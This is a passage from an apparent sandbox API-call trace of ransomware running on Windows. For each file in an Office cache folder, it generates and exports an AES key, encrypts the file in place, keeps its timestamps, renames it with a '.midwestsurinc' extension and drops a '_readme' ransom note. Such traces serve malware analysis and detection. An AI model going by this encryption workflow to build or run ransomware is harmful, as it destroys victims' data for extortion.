dwHighDateTime=0x1d5dff7)) returned 1 [0077.871] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0077.877] NtClose (Handle=0x2e8) returned 0x0 [0077.878] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.midwestsurinc_readme", dwFileAttributes=0x2020) returned 1 [0077.878] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0077.878] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0077.878] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x2430020) returned 1 [0077.889] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0077.889] CryptDestroyKey (hKey=0x60d2e0) returned 1 [0077.889] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10451d8) returned 1 [0077.889] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969290) returned 1 [0077.889] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969188) returned 1 [0077.889] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0077.889] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d)) returned 1 [0077.889] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0077.889] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0077.889] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0077.889] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0077.889] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0077.890] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0077.890] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0077.890] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d)) returned 1 [0077.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0077.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969188 [0077.890] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0077.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969290 [0077.890] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0077.890] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d)) returned 1 [0077.890] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0077.891] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0077.891] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0077.891] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0077.891] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0077.891] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0077.891] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10451d8 [0077.891] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8*(dwLowDateTime=0xecdfa490, dwHighDateTime=0x1d301be)) returned 1 [0077.891] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0077.891] CryptGenKey (in: hProv=0x601ec8, Algid=0x6610, dwFlags=0x1000001, phKey=0x174fb20 | out: phKey=0x174fb20*=0x60d2e0) returned 1 [0077.891] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x174fb1c | out: pbData=0x0*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0077.891] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x240) returned 0x107fd60 [0077.891] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0077.891] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x107fd60, pdwDataLen=0x174fb1c | out: pbData=0x107fd60*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0077.892] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0077.892] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0077.892] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0077.892] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x0 [0077.892] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x640) returned 0x10733c0 [0077.892] ReadFile (in: hFile=0x2e8, lpBuffer=0x10733c0, nNumberOfBytesToRead=0x61d, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x10733c0*, lpNumberOfBytesRead=0x174fb28*=0x61d, lpOverlapped=0x0) returned 1 [0077.894] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x640) returned 0xfa35b0 [0077.894] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10733c0) returned 1 [0077.894] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x640) returned 0x10733c0 [0077.895] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0077.895] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa35b0) returned 1 [0077.895] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xa40) returned 0x181a060 [0077.895] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x181a060*, pdwDataLen=0x174fb24*=0x61d, dwBufLen=0xa1d | out: pbData=0x181a060*, pdwDataLen=0x174fb24*=0x620) returned 1 [0077.895] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x181a060) returned 1 [0077.895] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0077.895] WriteFile (in: hFile=0x2e8, lpBuffer=0x10733c0*, nNumberOfBytesToWrite=0x61d, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x10733c0*, lpNumberOfBytesWritten=0x174fb28*=0x61d, lpOverlapped=0x0) returned 1 [0077.896] FlushFileBuffers (hFile=0x2e8) returned 1 [0077.899] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0077.899] NtClose (Handle=0x2e8) returned 0x0 [0077.900] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.midwestsurinc" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.midwestsurinc")) returned 1 [0077.900] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.midwestsurinc", dwFileAttributes=0x2020) returned 1 [0077.900] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.midwestsurinc_readme", dwFileAttributes=0x80) returned 0 [0077.900] GetLastError () returned 0x2 [0077.900] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.midwestsurinc_readme"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0xf85f90, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x174fb60)) returned 0 [0077.900] GetLastError () returned 0x2 [0077.900] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.midwestsurinc_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0077.901] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0077.901] WriteFile (in: hFile=0x2e8, lpBuffer=0xf7fe10*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xf7fe10*, lpNumberOfBytesWritten=0x174fb28*=0x168, lpOverlapped=0x0) returned 1 [0077.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0077.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x7) returned 0xf7d278 [0077.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045730 [0077.902] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d278) returned 1 [0077.902] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045730) returned 1 [0077.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2d1) returned 0x1030560 [0077.902] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c*(dwLowDateTime=0x4dcb4930, dwHighDateTime=0x1d5dff7)) returned 1 [0077.902] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0077.902] NtClose (Handle=0x2e8) returned 0x0 [0077.903] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.midwestsurinc_readme", dwFileAttributes=0x2020) returned 1 [0077.903] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0077.903] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0077.903] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10733c0) returned 1 [0077.903] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0077.903] CryptDestroyKey (hKey=0x60d2e0) returned 1 [0077.904] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10451d8) returned 1 [0077.904] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969188) returned 1 [0077.904] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969290) returned 1 [0077.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0077.904] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8)) returned 1 [0077.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0077.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0077.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0077.904] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0077.904] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0077.905] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0077.905] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0077.905] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8)) returned 1 [0077.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0077.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969290 [0077.905] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0077.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969188 [0077.905] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0077.905] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8)) returned 1 [0077.905] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0077.906] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0077.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0077.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0077.906] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0077.906] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0077.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10451d8 [0077.906] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8*(dwLowDateTime=0xee38cbf0, dwHighDateTime=0x1d301be)) returned 1 [0077.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0077.906] CryptGenKey (in: hProv=0x601ec8, Algid=0x6610, dwFlags=0x1000001, phKey=0x174fb20 | out: phKey=0x174fb20*=0x60d2e0) returned 1 [0077.906] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x174fb1c | out: pbData=0x0*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0077.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x240) returned 0x107fd60 [0077.906] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0077.906] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x107fd60, pdwDataLen=0x174fb1c | out: pbData=0x107fd60*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0077.907] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0077.907] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0077.907] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0077.907] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x0 [0077.907] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x900) returned 0x181a060 [0077.907] ReadFile (in: hFile=0x2e8, lpBuffer=0x181a060, nNumberOfBytesToRead=0x8f8, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x181a060*, lpNumberOfBytesRead=0x174fb28*=0x8f8, lpOverlapped=0x0) returned 1 [0077.910] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x900) returned 0x184fc80 [0077.910] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x181a060) returned 1 [0077.910] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x900) returned 0x181a060 [0077.910] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0077.910] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x184fc80) returned 1 [0077.910] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xd00) returned 0x1800818 [0077.910] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1800818*, pdwDataLen=0x174fb24*=0x8f8, dwBufLen=0xcf8 | out: pbData=0x1800818*, pdwDataLen=0x174fb24*=0x900) returned 1 [0077.910] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1800818) returned 1 [0077.910] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0077.911] WriteFile (in: hFile=0x2e8, lpBuffer=0x181a060*, nNumberOfBytesToWrite=0x8f8, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x181a060*, lpNumberOfBytesWritten=0x174fb28*=0x8f8, lpOverlapped=0x0) returned 1 [0077.911] FlushFileBuffers (hFile=0x2e8) returned 1 [0077.914] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0077.915] NtClose (Handle=0x2e8) returned 0x0 [0077.915] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.midwestsurinc")) returned 1 [0077.916] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc", dwFileAttributes=0x2020) returned 1 [0077.916] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc_readme", dwFileAttributes=0x80) returned 0 [0077.916] GetLastError () returned 0x2 [0077.916] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.midwestsurinc_readme"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0xf85fb0, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x174fb60)) returned 0 [0077.916] GetLastError () returned 0x2 [0077.916] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.midwestsurinc_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0077.916] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0077.916] WriteFile (in: hFile=0x2e8, lpBuffer=0xf7fe10*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xf7fe10*, lpNumberOfBytesWritten=0x174fb28*=0x168, lpOverlapped=0x0) returned 1 [0077.917] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0077.917] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xf) returned 0xf7d630 [0077.917] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c*(dwLowDateTime=0x4dcdaa90, dwHighDateTime=0x1d5dff7)) returned 1 [0077.917] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0077.918] NtClose (Handle=0x2e8) returned 0x0 [0077.918] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc_readme", dwFileAttributes=0x2020) returned 1 [0077.918] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0077.918] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0077.919] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x181a060) returned 1 [0077.919] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0077.919] CryptDestroyKey (hKey=0x60d2e0) returned 1 [0077.919] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10451d8) returned 1 [0077.919] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969290) returned 1 [0077.919] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969188) returned 1 [0077.919] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0077.919] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all 